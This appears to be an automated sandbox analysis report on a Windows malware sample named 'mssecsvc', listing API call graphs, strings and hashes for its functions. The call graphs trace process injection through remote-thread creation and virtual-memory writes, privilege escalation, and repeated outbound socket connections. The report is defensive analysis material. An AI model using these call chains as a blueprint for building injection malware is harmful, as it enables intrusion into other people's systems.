ac27ea WriteFile 7472->7474 7473->7462 7474->7469 7474->7471 6656 7fea2665 6658 7fea266b CreateThread CloseHandle 6656->6658 6659 7fea3c38 6658->6659 6661 7fea3c3d 6659->6661 6662 7fea3ca9 6661->6662 6665 7fea3c5b GetWindowsDirectoryA 6661->6665 6716 7fea252f NtOpenSection 6662->6716 6664 7fea3cae 6667 7fea3cfb GetSystemDirectoryA 6664->6667 6668 7fea3cb5 6664->6668 6669 7fea3d26 6665->6669 6761 7fea3d1f lstrcat 6667->6761 6717 7fea3cc2 GetModuleHandleA 6668->6717 6803 7fea3d36 LoadLibraryA 6669->6803 6716->6664 6718 7fea3ccc 6717->6718 6719 7fea3cde 6717->6719 6721 7fea3cd4 GetProcAddress 6718->6721 6844 7fea3cf0 GetModuleHandleA 6719->6844 6721->6719 6762 7fea3d26 6761->6762 6763 7fea3d36 151 API calls 6762->6763 6764 7fea3d2b GetProcAddress LoadLibraryA 6763->6764 6766 7fea3d7d 6764->6766 6767 7fea10ce 2 API calls 6764->6767 6768 7fea3d92 GetTickCount 6766->6768 6767->6766 6769 7fea3daa 6768->6769 6770 7fea3e47 GetVolumeInformationA 6769->6770 6771 7fea3e7a 6770->6771 6772 7fea3f25 6771->6772 6773 7fea3eb5 96 API calls 6771->6773 6774 7fea3f4f 6772->6774 6775 7fea3f31 CreateThread CloseHandle 6772->6775 6776 7fea3ea9 6773->6776 6777 7fea3f60 43 API calls 6774->6777 6775->6774 6776->6772 6779 7fea3eca GetModuleFileNameA wsprintfA 6776->6779 6778 7fea3f54 6777->6778 6780 7fea3f7e 6778->6780 6781 7fea10ce 2 API calls 6778->6781 6782 7fea3f14 6779->6782 6783 7fea3f8f 23 API calls 6780->6783 6781->6780 6782->6772 6786 7fea3405 5 API calls 6782->6786 6784 7fea3f83 6783->6784 6785 7fea3fd6 CreateThread CloseHandle 6784->6785 6787 7fea3ffa CreateEventA 6784->6787 6785->6787 6786->6772 6800 7fea4012 6787->6800 6788 7fea4056 lstrlen 6788->6788 6789 7fea4065 gethostbyname 6788->6789 6789->6800 6790 7fea4320 RtlExitUserThread 6791 7fea4081 socket 6793 7fea40a6 connect 6791->6793 6791->6800 6792 7fea42d0 SetEvent 6792->6800 6795 7fea42b7 closesocket 6793->6795 6793->6800 6794 7fea42f2 Sleep ResetEvent 6794->6800 6795->6800 6796 7fea40ef GetVersionExA 6796->6800 6797 7fea4172 wsprintfA 6797->6800 6798 7fea41a7 CreateThread CloseHandle 6798->6800 6799 7fea41f6 GetTickCount 6799->6800 6800->6788 6800->6789 6800->6790 6800->6791 6800->6792 6800->6794 6800->6795 6800->6796 6800->6797 6800->6798 6800->6799 6801 7fea4288 Sleep 6800->6801 6801->6800 6802 7fea4294 GetTickCount 6801->6802 6802->6800 7002 7fea3d4b GetProcAddress LoadLibraryA 6803->7002 6887 7fea26d4 6844->6887 6847 7fea3d1f 179 API calls 6848 7fea3d12 GetProcAddress LoadLibraryA 6847->6848 6850 7fea3d7d 6848->6850 6851 7fea10ce 2 API calls 6848->6851 6852 7fea3d92 GetTickCount 6850->6852 6851->6850 6853 7fea3daa 6852->6853 6854 7fea3e47 GetVolumeInformationA 6853->6854 6855 7fea3e7a 6854->6855 6856 7fea3f25 6855->6856 6889 7fea3eb5 LoadLibraryA 6855->6889 6858 7fea3f4f 6856->6858 6859 7fea3f31 CreateThread CloseHandle 6856->6859 6921 7fea3f60 LoadLibraryA 6858->6921 6859->6858 6888 7fea26c8 GetSystemDirectoryA 6887->6888 6888->6847 6943 7fea3ecc GetProcAddress GetModuleFileNameA wsprintfA 6889->6943 6922 7fea10ce 2 API calls 6921->6922 6923 7fea3f7e 6922->6923 6924 7fea3f8f 23 API calls 6923->6924 6925 7fea3f83 6924->6925 6926 7fea3fd6 CreateThread CloseHandle 6925->6926 6927 7fea3ffa CreateEventA 6925->6927 6926->6927 6930 7fea4012 6927->6930 6928 7fea4056 lstrlen 6928->6928 6929 7fea4065 gethostbyname 6928->6929 6929->6930 6930->6928 6930->6929 6931 7fea4320 RtlExitUserThread 6930->6931 6932 7fea4081 socket 6930->6932 6933 7fea42d0 SetEvent 6930->6933 6935 7fea42f2 Sleep ResetEvent 6930->6935 6936 7fea42b7 closesocket 6930->6936 6937 7fea40ef GetVersionExA 6930->6937 6938 7fea4172 wsprintfA 6930->6938 6939 7fea41a7 CreateThread CloseHandle 6930->6939 6940 7fea41f6 GetTickCount 6930->6940 6941 7fea4288 Sleep 6930->6941 6932->6930 6934 7fea40a6 connect 6932->6934 6933->6930 6934->6930 6934->6936 6935->6930 6936->6930 6937->6930 6938->6930 6939->6930 6940->6930 6941->6930 6942 7fea4294 GetTickCount 6941->6942 6942->6930 6944 7fea3f14 6943->6944 6945 7fea3f25 6944->6945 6972 7fea3405 6944->6972 6947 7fea3f4f 6945->6947 6948 7fea3f31 CreateThread CloseHandle 6945->6948 6949 7fea3f60 43 API calls 6947->6949 6948->6947 6950 7fea3f54 6949->6950 6951 7fea3f7e 6950->6951 6952 7fea10ce 2 API calls 6950->6952 6981 7fea3f8f LoadLibraryA 6951->6981 6952->6951 6973 7fea343b 6972->6973 6973->6973 6974 7fea3440 NtOpenSection 6973->6974 6975 7fea344e 6974->6975 6976 7fea345f NtQuerySystemInformation 6975->6976 6977 7fea35f3 6975->6977 6978 7fea346f MapViewOfFile CloseHandle 6976->6978 6977->6945 6978->6977 6980 7fea34b0 6978->6980 6979 7fea34b7 UnmapViewOfFile 6979->6977 6980->6977 6980->6979 6982 7fea3f9d 6981->6982 6983 7fea4320 RtlExitUserThread 6981->6983 6984 7fea10ce 2 API calls 6982->6984 6985 7fea3fb5 6984->6985 6985->6983 6986 7fea3fc2 WSAStartup CreateThread CloseHandle 6985->6986 6987 7fea3ffa CreateEventA 6986->6987 6999 7fea4012 6987->6999 6988 7fea4056 lstrlen 6988->6988 6989 7fea4065 gethostbyname 6988->6989 6989->6999 6990 7fea4081 socket 6992 7fea40a6 connect 6990->6992 6990->6999 6991 7fea42d0 SetEvent 6991->6999 6994 7fea42b7 closesocket 6992->6994 6992->6999 6993 7fea42f2 Sleep ResetEvent 6993->6999 6994->6999 6995 7fea40ef GetVersionExA 6995->6999 6996 7fea4172 wsprintfA 6996->6999 6997 7fea41a7 CreateThread CloseHandle 6997->6999 6998 7fea41f6 GetTickCount 6998->6999 6999->6983 6999->6988 6999->6989 6999->6990 6999->6991 6999->6993 6999->6994 6999->6995 6999->6996 6999->6997 6999->6998 7000 7fea4288 Sleep 6999->7000 7000->6999 7001 7fea4294 GetTickCount 7000->7001 7001->6999 7003 7fea10ce 2 API calls 7002->7003 7004 7fea3d7d 7003->7004 7005 7fea3d92 GetTickCount 7004->7005 7006 7fea3daa 7005->7006 7007 7fea3e47 GetVolumeInformationA 7006->7007 7008 7fea3e7a 7007->7008 7009 7fea3f25 7008->7009 7010 7fea3eb5 96 API calls 7008->7010 7011 7fea3f4f 7009->7011 7012 7fea3f31 CreateThread CloseHandle 7009->7012 7014 7fea3ea9 7010->7014 7013 7fea3f60 43 API calls 7011->7013 7012->7011 7015 7fea3f54 7013->7015 7014->7009 7016 7fea3eca GetModuleFileNameA wsprintfA 7014->7016 7017 7fea3f7e 7015->7017 7018 7fea10ce 2 API calls 7015->7018 7019 7fea3f14 7016->7019 7020 7fea3f8f 23 API calls 7017->7020 7018->7017 7019->7009 7023 7fea3405 5 API calls 7019->7023 7021 7fea3f83 7020->7021 7022 7fea3fd6 CreateThread CloseHandle 7021->7022 7024 7fea3ffa CreateEventA 7021->7024 7022->7024 7023->7009 7037 7fea4012 7024->7037 7025 7fea4056 lstrlen 7025->7025 7026 7fea4065 gethostbyname 7025->7026 7026->7037 7027 7fea4320 RtlExitUserThread 7028 7fea4081 socket 7030 7fea40a6 connect 7028->7030 7028->7037 7029 7fea42d0 SetEvent 7029->7037 7032 7fea42b7 closesocket 7030->7032 7030->7037 7031 7fea42f2 Sleep ResetEvent 7031->7037 7032->7037 7033 7fea40ef GetVersionExA 7033->7037 7034 7fea4172 wsprintfA 7034->7037 7035 7fea41a7 CreateThread CloseHandle 7035->7037 7036 7fea41f6 GetTickCount 7036->7037 7037->7025 7037->7026 7037->7027 7037->7028 7037->7029 7037->7031 7037->7032 7037->7033 7037->7034 7037->7035 7037->7036 7038 7fea4288 Sleep 7037->7038 7038->7037 7039 7fea4294 GetTickCount 7038->7039 7039->7037 6290 7fea663a 6293 7fea6647 6290->6293 6294 7fea6644 6293->6294 6295 7fea6652 6293->6295 6297 7fea6658 6295->6297 6300 7fea2574 6297->6300 6319 7fea252f NtOpenSection 6300->6319 6302 7fea257c 6303 7fea2582 NtMapViewOfSection CloseHandle 6302->6303 6304 7fea2661 6302->6304 6303->6304 6307 7fea25ba 6303->6307 6304->6294 6305 7fea25ef 6321 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6305->6321 6307->6305 6320 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6307->6320 6308 7fea2600 6322 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6308->6322 6311 7fea2611 6323 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6311->6323 6313 7fea2622 6316 7fea2637 6313->6316 6324 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6313->6324 6315 7fea264c 6315->6304 6326 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6315->6326 6316->6315 6325 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6316->6325 6319->6302 6320->6305 6321->6308 6322->6311 6323->6313 6324->6316 6325->6315 6326->6304 7475 7fea443b 7478 7fea144a LookupPrivilegeValueA NtAdjustPrivilegesToken 7475->7478 7477 7fea4441 7478->7477 6486 ac02fe 6487 ac0415 6486->6487 6489 ac042d 6487->6489 6518 ac10ce 6489->6518 6491 ac048f 6492 ac04dd 6491->6492 6493 ac04b0 GetModuleHandleA 6491->6493 6494 ac04f8 GetVersion 6492->6494 6493->6492 6495 ac050f VirtualAlloc 6494->6495 6516 ac05ca 6494->6516 6496 ac05a9 FindCloseChangeNotification 6495->6496 6499 ac0532 6495->6499 6496->6516 6497 ac05d3 SetProcessAffinityMask 6525 ac05f2 GetModuleHandleA 6497->6525 6499->6496 6522 ac05ba 6499->6522 6500 ac06fc lstrcpyW 6547 ac24ae lstrcpyW lstrlenW 6500->6547 6502 ac074c NtMapViewOfSection 6502->6496 6502->6516 6503 ac0717 GetPEB lstrcpyW lstrcatW 6504 ac24ae 3 API calls 6503->6504 6504->6516 6506 ac0780 NtOpenProcessToken 6507 ac07c5 CreateToolhelp32Snapshot Process32First 6506->6507 6506->6516 6508 ac07eb Process32Next 6507->6508 6509 ac0865 FindCloseChangeNotification 6508->6509 6508->6516 6509->6496 6511 ac07fd OpenProcess 6511->6508 6511->6516 6513 ac07b7 CreateToolhelp32Snapshot Process32First 6513->6508 6514 ac085c FindCloseChangeNotification 6514->6508 6515 ac0834 CreateRemoteThread 6515->6514 6515->6516 6516->6496 6516->6497 6516->6500 6516->6502 6516->6503 6516->6506 6516->6508 6516->6511 6516->6513 6516->6514 6516->6515 6517 ac05ba Sleep 6516->6517 6550 ac07ac 6516->6550 6573 ac2574 6516->6573 6517->6514 6519 ac10db 6518->6519 6519->6518 6520 ac115c 6519->6520 6521 ac1133 GetModuleHandleA GetProcAddress 6519->6521 6520->6491 6521->6519 6523 ac05bf Sleep 6522->6523 6524 ac05c9 6522->6524 6523->6522 6524->6496 6526 ac10ce 2 API calls 6525->6526 6539 ac05ca 6526->6539 6527 ac05a9 FindCloseChangeNotification 6527->6539 6528 ac05d3 SetProcessAffinityMask 6529 ac05f2 30 API calls 6528->6529 6529->6539 6530 ac06fc lstrcpyW 6531 ac24ae 3 API calls 6530->6531 6531->6539 6532 ac074c NtMapViewOfSection 6532->6527 6532->6539 6533 ac0717 GetPEB lstrcpyW lstrcatW 6534 ac24ae 3 API calls 6533->6534 6534->6539 6535 ac0780 NtOpenProcessToken 6536 ac07c5 CreateToolhelp32Snapshot Process32First 6535->6536 6535->6539 6537 ac07eb Process32Next 6536->6537 6538 ac0865 FindCloseChangeNotification 6537->6538 6537->6539 6538->6527 6539->6527 6539->6528 6539->6530 6539->6532 6539->6533 6539->6535 6539->6537 6540 ac07ac 30 API calls 6539->6540 6541 ac07fd OpenProcess 6539->6541 6542 ac2574 5 API calls 6539->6542 6543 ac07b7 CreateToolhelp32Snapshot Process32First 6539->6543 6544 ac085c FindCloseChangeNotification 6539->6544 6545 ac0834 CreateRemoteThread 6539->6545 6546 ac05ba Sleep 6539->6546 6540->6539 6541->6537 6541->6539 6542->6539 6543->6537 6544->6537 6545->6539 6545->6544 6546->6544 6592 ac6c2b 6547->6592 6594 ac144a LookupPrivilegeValueA NtAdjustPrivilegesToken 6550->6594 6552 ac07b2 FreeLibrary FindCloseChangeNotification 6553 ac07c5 CreateToolhelp32Snapshot Process32First 6552->6553 6554 ac07eb Process32Next 6553->6554 6555 ac0865 FindCloseChangeNotification 6554->6555 6556 ac05ca 6554->6556 6558 ac05a9 FindCloseChangeNotification 6555->6558 6556->6554 6557 ac07fd OpenProcess 6556->6557 6556->6558 6559 ac05d3 SetProcessAffinityMask 6556->6559 6560 ac2574 5 API calls 6556->6560 6562 ac085c FindCloseChangeNotification 6556->6562 6563 ac0834 CreateRemoteThread 6556->6563 6564 ac05ba Sleep 6556->6564 6565 ac06fc lstrcpyW 6556->6565 6567 ac074c NtMapViewOfSection 6556->6567 6568 ac0717 GetPEB lstrcpyW lstrcatW 6556->6568 6570 ac0780 NtOpenProcessToken 6556->6570 6571 ac07ac 29 API calls 6556->6571 6572 ac07b7 CreateToolhelp32Snapshot Process32First 6556->6572 6557->6554 6557->6556 6558->6556 6561 ac05f2 29 API calls 6559->6561 6560->6556 6561->6556 6562->6554 6563->6556 6563->6562 6564->6562 6566 ac24ae 3 API calls 6565->6566 6566->6556 6567->6556 6567->6558 6569 ac24ae 3 API calls 6568->6569 6569->6556 6570->6553 6570->6556 6571->6556 6572->6554 6595 ac252f NtOpenSection 6573->6595 6575 ac257c 6576 ac2661 6575->6576 6577 ac2582 NtMapViewOfSection FindCloseChangeNotification 6575->6577 6576->6516 6577->6576 6579 ac25ba 6577->6579 6578 ac25ef 6597 ac2477 NtProtectVirtualMemory NtWriteVirtualMemory 6578->6597 6579->6578 6596 ac2477 NtProtectVirtualMemory NtWriteVirtualMemory 6579->6596 6582 ac2600 6598 ac2477 NtProtectVirtualMemory NtWriteVirtualMemory 6582->6598 6584 ac2611 6599 ac2477 NtProtectVirtualMemory NtWriteVirtualMemory 6584->6599 6586 ac2622 6587 ac2637 6586->6587 6600 ac2477 NtProtectVirtualMemory NtWriteVirtualMemory 6586->6600 6589 ac264c 6587->6589 6601 ac2477 NtProtectVirtualMemory NtWriteVirtualMemory 6587->6601 6589->6576 6602 ac2477 NtProtectVirtualMemory NtWriteVirtualMemory 6589->6602 6593 ac6ebc 6592->6593 6594->6552 6595->6575 6596->6578 6597->6582 6598->6584 6599->6586 6600->6587 6601->6589 6602->6576 6357 7fea02fe 6358 7fea0415 6357->6358 6360 7fea042d 6358->6360 6391 7fea10ce 6360->6391 6362 7fea048f 6363 7fea04dd 6362->6363 6364 7fea04b0 GetModuleHandleA 6362->6364 6365 7fea04f8 GetVersion 6363->6365 6364->6363 6366 7fea05ca 6365->6366 6367 7fea050f VirtualAlloc 6365->6367 6368 7fea05a9 CloseHandle 6366->6368 6369 7fea05d3 SetProcessAffinityMask 6366->6369 6367->6368 6373 7fea0532 6367->6373 6371 7fea05f2 GetModuleHandleA 6368->6371 6398 7fea05f2 GetModuleHandleA 6369->6398 6372 7fea10ce 2 API calls 6371->6372 6389 7fea05ec 6372->6389 6373->6368 6395 7fea05ba 6373->6395 6374 7fea06fc lstrcpyW 6417 7fea24ae lstrcpyW lstrlenW 6374->6417 6376 7fea074c NtMapViewOfSection 6376->6368 6376->6389 6377 7fea0717 GetPEB lstrcpyW lstrcatW 6379 7fea24ae 3 API calls 6377->6379 6379->6389 6380 7fea0780 NtOpenProcessToken 6381 7fea07c5 CreateToolhelp32Snapshot Process32First 6380->6381 6380->6389 6381->6389 6382 7fea2574 5 API calls 6382->6389 6384 7fea07eb Process32Next 6385 7fea0865 CloseHandle 6384->6385 6384->6389 6385->6368 6386 7fea07fd OpenProcess 6386->6384 6386->6389 6387 7fea085c CloseHandle 6387->6384 6388 7fea0834 CreateRemoteThread 6388->6387 6388->6389 6389->6368 6389->6374 6389->6376 6389->6377 6389->6380 6389->6381 6389->6382 6389->6384 6389->6386 6389->6387 6389->6388 6390 7fea05ba Sleep 6389->6390 6420 7fea07ac 6389->6420 6390->6387 6392 7fea10db 6391->6392 6392->6391 6393 7fea115c 6392->6393 6394 7fea1133 GetModuleHandleA GetProcAddress 6392->6394 6393->6362 6394->6392 6396 7fea05c9 6395->6396 6397 7fea05bf Sleep 6395->6397 6396->6368 6397->6395 6399 7fea10ce 2 API calls 6398->6399 6400 7fea060e 6399->6400 6401 7fea05a9 CloseHandle 6400->6401 6402 7fea06fc lstrcpyW 6400->6402 6404 7fea074c NtMapViewOfSection 6400->6404 6405 7fea0717 GetPEB lstrcpyW lstrcatW 6400->6405 6407 7fea0780 NtOpenProcessToken 6400->6407 6408 7fea07c5 CreateToolhelp32Snapshot Process32First 6400->6408 6409 7fea2574 5 API calls 6400->6409 6410 7fea07ac 30 API calls 6400->6410 6411 7fea07eb Process32Next 6400->6411 6413 7fea07fd OpenProcess 6400->6413 6414 7fea085c CloseHandle 6400->6414 6415 7fea0834 CreateRemoteThread 6400->6415 6416 7fea05ba Sleep 6400->6416 6401->6398 6403 7fea24ae 3 API calls 6402->6403 6403->6400 6404->6400 6404->6401 6406 7fea24ae 3 API calls 6405->6406 6406->6400 6407->6400 6407->6408 6408->6400 6409->6400 6410->6400 6411->6400 6412 7fea0865 CloseHandle 6411->6412 6412->6401 6413->6400 6413->6411 6414->6411 6415->6400 6415->6414 6416->6414 6418 7fea6c2b 6417->6418 6419 7fea24ea NtCreateSection 6418->6419 6419->6389 6442 7fea144a LookupPrivilegeValueA NtAdjustPrivilegesToken 6420->6442 6422 7fea07b2 FreeLibrary CloseHandle 6423 7fea07c5 CreateToolhelp32Snapshot Process32First 6422->6423 6435 7fea060e 6423->6435 6424 7fea2574 5 API calls 6424->6435 6425 7fea07eb Process32Next 6426 7fea0865 CloseHandle 6425->6426 6425->6435 6429 7fea05a9 CloseHandle 6426->6429 6427 7fea07fd OpenProcess 6427->6425 6427->6435 6428 7fea085c CloseHandle 6428->6425 6431 7fea05f2 GetModuleHandleA 6429->6431 6430 7fea0834 CreateRemoteThread 6430->6428 6430->6435 6432 7fea10ce 2 API calls 6431->6432 6432->6435 6433 7fea05ba Sleep 6433->6428 6434 7fea06fc lstrcpyW 6436 7fea24ae 3 API calls 6434->6436 6435->6423 6435->6424 6435->6425 6435->6427 6435->6428 6435->6429 6435->6430 6435->6433 6435->6434 6437 7fea074c NtMapViewOfSection 6435->6437 6438 7fea0717 GetPEB lstrcpyW lstrcatW 6435->6438 6440 7fea0780 NtOpenProcessToken 6435->6440 6441 7fea07ac 13 API calls 6435->6441 6436->6435 6437->6429 6437->6435 6439 7fea24ae 3 API calls 6438->6439 6439->6435 6440->6423 6440->6435 6441->6435 6442->6422 7043 ac443b 7046 ac144a LookupPrivilegeValueA NtAdjustPrivilegesToken 7043->7046 7045 ac4441 7046->7045 6443 ac3888 6445 ac388e GetSystemTime 6443->6445 6446 ac38d2 6445->6446 6447 ac390c Sleep 6446->6447 6448 ac3924 InternetGetConnectedState 6446->6448 6449 ac3a32 6446->6449 6450 ac3954 gethostbyname 6446->6450 6453 ac3a1f closesocket 6446->6453 6447->6446 6448->6446 6450->6446 6451 ac397a socket 6450->6451 6451->6446 6452 ac3990 ioctlsocket connect Sleep 6451->6452 6452->6446 6453->6446 6454 a71780 6455 a71788 6454->6455 6457 a71aa2 6455->6457 6458 a71971 6455->6458 6461 a7185b 6458->6461 6459 a7197f GetPEB 6460 a71994 6459->6460 6459->6461 6461->6458 6461->6459 7047 ac0000 7048 ac0004 7047->7048 7049 ac00a1 7048->7049 7051 ac025e 7048->7051 7055 ac0105 7051->7055 7054 ac0278 7054->7049 7056 ac0116 GetPEB 7055->7056 7056->7054 6462 ac3399 6464 ac33a2 6462->6464 6465 ac33a9 Sleep 6464->6465 6465->6465 7057 ac3819 7059 ac381f WaitForSingleObject 7057->7059 7060 ac383b closesocket 7059->7060 7061 ac3845 7059->7061 7060->7061 6618 ac0fd6 6620 ac10a0 6618->6620 6619 ac115c 6620->6619 6621 ac1133 GetModuleHandleA GetProcAddress 6620->6621 6621->6620 6622 7fea1196 GetProcAddress

                                                                                          Executed Functions

                                                                                          Function 00AC042D Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 290memoryCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 0 ac042d-ac04a4 call ac10ce 3 ac04dd 0->3 4 ac04a6-ac04db call ac273c GetModuleHandleA 0->4 6 ac04e4-ac0509 call ac2750 GetVersion 3->6 4->6 10 ac050f-ac0530 VirtualAlloc 6->10 11 ac05ca-ac05d1 6->11 12 ac05a9-ac05b3 FindCloseChangeNotification 10->12 13 ac0532-ac0562 call ac0305 10->13 11->12 14 ac05d3-ac05fc SetProcessAffinityMask call ac05f2 11->14 12->11 13->12 24 ac0564-ac057b 13->24 19 ac05fe-ac061c 14->19 20 ac0621-ac0623 14->20 19->20 22 ac064c-ac0652 20->22 23 ac0625-ac0630 20->23 22->12 27 ac0658-ac0671 22->27 25 ac0639-ac0648 23->25 26 ac0632 23->26 24->12 31 ac057d-ac05a4 call ac05ba 24->31 25->22 26->25 27->12 28 ac0677-ac0690 27->28 28->12 30 ac0696-ac069c 28->30 32 ac069e-ac06b1 30->32 33 ac06d8-ac06de 30->33 31->12 32->12 34 ac06b7-ac06bd 32->34 35 ac06fc-ac0715 lstrcpyW call ac24ae 33->35 36 ac06e0-ac06f3 33->36 34->33 37 ac06bf-ac06d2 34->37 42 ac074c-ac0775 NtMapViewOfSection 35->42 43 ac0717-ac0746 GetPEB lstrcpyW lstrcatW call ac24ae 35->43 36->35 38 ac06f5 36->38 37->12 37->33 38->35 42->12 46 ac077b-ac078f call ac0305 NtOpenProcessToken 42->46 43->12 43->42 51 ac07c5-ac07e4 CreateToolhelp32Snapshot Process32First 46->51 52 ac0791-ac07a3 call ac115d call ac07ac 46->52 54 ac07eb-ac07f5 Process32Next 51->54 62 ac080e-ac080f 52->62 63 ac07a5 52->63 56 ac0865-ac0872 FindCloseChangeNotification 54->56 57 ac07f7-ac07fb 54->57 56->12 57->54 59 ac07fd-ac080d OpenProcess 57->59 59->54 61 ac080f 59->61 64 ac0810-ac0818 call ac2574 61->64 62->64 63->64 65 ac07a7-ac07e4 CreateToolhelp32Snapshot Process32First 63->65 69 ac085c-ac0863 FindCloseChangeNotification 64->69 70 ac081a-ac0820 64->70 65->54 69->54 70->69 71 ac0822-ac0832 70->71 71->69 72 ac0834-ac084b CreateRemoteThread 71->72 72->69 73 ac084d-ac0857 call ac05ba 72->73 73->69
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(00000000), ref: 00AC04BE
                                                                                          • GetVersion.KERNEL32 ref: 00AC0500
                                                                                          • VirtualAlloc.KERNEL32(00000000,000077C4,08001000,00000040), ref: 00AC0528
                                                                                          • FindCloseChangeNotification.KERNELBASE(?), ref: 00AC05AD
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AllocChangeCloseFindHandleModuleNotificationVersionVirtual
                                                                                          • String ID: \BaseNamedObjects\mdatVt$\BaseNamedObjects\mdatVt$csrs
                                                                                          • API String ID: 2920002527-3205722221
                                                                                          • Opcode ID: 55dab35a01ffbabe9e6f30f5ae22a4fb086bcedf8e9e15a46640e76f7b549da8
                                                                                          • Instruction ID: a35b59baa2338ea6f5c041187c92f1c841bd16a375af73dd1d7e87df2778dc97
                                                                                          • Opcode Fuzzy Hash: 55dab35a01ffbabe9e6f30f5ae22a4fb086bcedf8e9e15a46640e76f7b549da8
                                                                                          • Instruction Fuzzy Hash: 09B1A771605249FFEB259F24C80AFAA3BADEF44310F12402CF9099E181C7F09F558B69
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC05F2 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 193stringnativeprocessCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 75 ac05f2-ac0615 GetModuleHandleA call ac10ce 78 ac05a9-ac05b3 FindCloseChangeNotification 75->78 79 ac0617-ac0630 75->79 82 ac05ca-ac05d1 78->82 80 ac0639-ac0648 79->80 81 ac0632 79->81 83 ac064c-ac0652 80->83 81->80 82->78 84 ac05d3-ac05fc SetProcessAffinityMask call ac05f2 82->84 83->78 85 ac0658-ac0671 83->85 90 ac05fe-ac061c 84->90 91 ac0621-ac0623 84->91 85->78 87 ac0677-ac0690 85->87 87->78 89 ac0696-ac069c 87->89 92 ac069e-ac06b1 89->92 93 ac06d8-ac06de 89->93 90->91 91->83 97 ac0625-ac0630 91->97 92->78 94 ac06b7-ac06bd 92->94 95 ac06fc-ac0715 lstrcpyW call ac24ae 93->95 96 ac06e0-ac06f3 93->96 94->93 98 ac06bf-ac06d2 94->98 102 ac074c-ac0775 NtMapViewOfSection 95->102 103 ac0717-ac0746 GetPEB lstrcpyW lstrcatW call ac24ae 95->103 96->95 99 ac06f5 96->99 97->80 97->81 98->78 98->93 99->95 102->78 105 ac077b-ac078f call ac0305 NtOpenProcessToken 102->105 103->78 103->102 109 ac07c5-ac07e4 CreateToolhelp32Snapshot Process32First 105->109 110 ac0791-ac07a3 call ac115d call ac07ac 105->110 112 ac07eb-ac07f5 Process32Next 109->112 120 ac080e-ac080f 110->120 121 ac07a5 110->121 114 ac0865-ac0872 FindCloseChangeNotification 112->114 115 ac07f7-ac07fb 112->115 114->78 115->112 117 ac07fd-ac080d OpenProcess 115->117 117->112 119 ac080f 117->119 122 ac0810-ac0818 call ac2574 119->122 120->122 121->122 123 ac07a7-ac07e4 CreateToolhelp32Snapshot Process32First 121->123 127 ac085c-ac0863 FindCloseChangeNotification 122->127 128 ac081a-ac0820 122->128 123->112 127->112 128->127 129 ac0822-ac0832 128->129 129->127 130 ac0834-ac084b CreateRemoteThread 129->130 130->127 131 ac084d-ac0857 call ac05ba 130->131 131->127
                                                                                          APIs
                                                                                          • FindCloseChangeNotification.KERNELBASE(?), ref: 00AC05AD
                                                                                          • GetModuleHandleA.KERNEL32(00AC05EC), ref: 00AC05F2
                                                                                          • lstrcpyW.KERNEL32(\BaseNamedObjects\mdatVt,\BaseNamedObjects\mdatVt), ref: 00AC070A
                                                                                          • lstrcpyW.KERNEL32(\BaseNamedObjects\mdatVt,?), ref: 00AC072D
                                                                                          • lstrcatW.KERNEL32(\BaseNamedObjects\mdatVt,\mdatVt), ref: 00AC073B
                                                                                          • NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,000077C4,00000000,?,00000002,00000000,00000040), ref: 00AC076B
                                                                                          • NtOpenProcessToken.NTDLL(000000FF,00000020), ref: 00AC0786
                                                                                          • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00AC07C9
                                                                                          • Process32First.KERNEL32 ref: 00AC07DC
                                                                                          • Process32Next.KERNEL32 ref: 00AC07ED
                                                                                          • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00AC0805
                                                                                          • CreateRemoteThread.KERNELBASE(?,00000000,00000000,-00003C38,00000002,00000000), ref: 00AC0842
                                                                                          • FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00AC085D
                                                                                          • FindCloseChangeNotification.KERNELBASE ref: 00AC086C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: ChangeCloseFindNotification$CreateOpenProcessProcess32lstrcpy$FirstHandleModuleNextRemoteSectionSnapshotThreadTokenToolhelp32Viewlstrcat
                                                                                          • String ID: \BaseNamedObjects\mdatVt$\BaseNamedObjects\mdatVt$csrs
                                                                                          • API String ID: 3804105423-3205722221
                                                                                          • Opcode ID: 0d5786054332540e6e836eaed6eac88baa2013289193866529efb65d1d8d764a
                                                                                          • Instruction ID: cf7cd4a877498831ed1bbac6be9402b000503b3634c02dbb66527f9c8cb98ad8
                                                                                          • Opcode Fuzzy Hash: 0d5786054332540e6e836eaed6eac88baa2013289193866529efb65d1d8d764a
                                                                                          • Instruction Fuzzy Hash: BD719872604209FFEB259F10C84AFAE3BADEF45315F12402CE909AE091C7B59F459B99
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC252F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29nativeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

